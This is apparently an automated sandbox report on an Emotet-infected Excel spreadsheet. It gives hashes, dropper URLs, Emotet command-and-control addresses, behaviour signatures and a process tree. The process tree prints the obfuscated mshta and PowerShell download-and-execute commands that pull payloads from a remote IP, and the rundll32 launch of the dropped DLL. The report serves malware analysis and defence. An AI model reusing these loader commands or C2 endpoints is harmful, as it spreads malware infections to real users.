Analysis

  • max time kernel
    55s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 02:37

General

  • Target

    2022-1-28-ad7f6746586cdff93486e5f63c1912f7.xls

  • Size

    47KB

  • MD5

    ad7f6746586cdff93486e5f63c1912f7

  • SHA1

    f1bb883168498f4abdae014221fd632d8a9605a0

  • SHA256

    64b46ace0fd6708a2c0969a47fb2b1e7d6b360eef08f8afab735abbe5c3cc948

  • SHA512

    5901ac7e7e7b0f5bd9da1ac9cf93ac2f377109d9ff4828f8b3585c92949468b3d80325497440d6568fefdf871dd854490e7472f342f7a3e8e34acbcf3b320fe0

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\2022-1-28-ad7f6746586cdff93486e5f63c1912f7.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1892
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:384
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/vvv/ppp/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:568
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1300
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:896
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1416
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:932
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hemlsowxmm\hlqysaspbzgi.vad",JvVpka
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:960
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hemlsowxmm\hlqysaspbzgi.vad",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1148

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

2
T1082

Query Registry

1
T1012

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • \ProgramData\QWER.dll
    MD5

    91889bc1858d4b5983c747be7e47fae7

    SHA1

    89bd70beecf51a83f0e9632e361847fddc9cf7aa

    SHA256

    23505b3556126c255502fe868283b2e93a0f5e051400c55d80c87a1e760c3be9

    SHA512

    8dacda8b1cc46454c394ed4275166db3aad8c45b9fcc4a8a4719e3613cce2ace2d3c9c59c5ede2e50e80b49ab989960e6fe3509db6d2874d017d931452d027fd

  • memory/932-82-0x0000000002350000-0x0000000002375000-memory.dmp
    Filesize

    148KB

  • memory/932-74-0x0000000000250000-0x0000000000275000-memory.dmp
    Filesize

    148KB

  • memory/932-76-0x0000000000740000-0x0000000000765000-memory.dmp
    Filesize

    148KB

  • memory/932-80-0x0000000000930000-0x0000000000955000-memory.dmp
    Filesize

    148KB

  • memory/932-88-0x0000000002810000-0x0000000002835000-memory.dmp
    Filesize

    148KB

  • memory/960-86-0x0000000000240000-0x0000000000265000-memory.dmp
    Filesize

    148KB

  • memory/1148-108-0x0000000002B20000-0x0000000002B45000-memory.dmp
    Filesize

    148KB

  • memory/1148-106-0x0000000002990000-0x00000000029B5000-memory.dmp
    Filesize

    148KB

  • memory/1148-102-0x00000000027D0000-0x00000000027F5000-memory.dmp
    Filesize

    148KB

  • memory/1148-110-0x0000000002C11000-0x0000000002C32000-memory.dmp
    Filesize

    132KB

  • memory/1148-104-0x0000000002930000-0x0000000002955000-memory.dmp
    Filesize

    148KB

  • memory/1148-92-0x0000000000A20000-0x0000000000A45000-memory.dmp
    Filesize

    148KB

  • memory/1148-94-0x0000000000AD0000-0x0000000000AF5000-memory.dmp
    Filesize

    148KB

  • memory/1148-98-0x0000000000CB0000-0x0000000000CD5000-memory.dmp
    Filesize

    148KB

  • memory/1148-100-0x00000000025D0000-0x00000000025F5000-memory.dmp
    Filesize

    148KB

  • memory/1300-59-0x00000000024E0000-0x000000000312A000-memory.dmp
    Filesize

    12.3MB

  • memory/1300-60-0x00000000024E0000-0x000000000312A000-memory.dmp
    Filesize

    12.3MB

  • memory/1416-67-0x0000000000160000-0x0000000000185000-memory.dmp
    Filesize

    148KB

  • memory/1892-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1892-54-0x0000000070E31000-0x0000000070E33000-memory.dmp
    Filesize

    8KB

  • memory/1892-53-0x000000002F3D1000-0x000000002F3D4000-memory.dmp
    Filesize

    12KB

  • memory/1892-56-0x00000000751B1000-0x00000000751B3000-memory.dmp
    Filesize

    8KB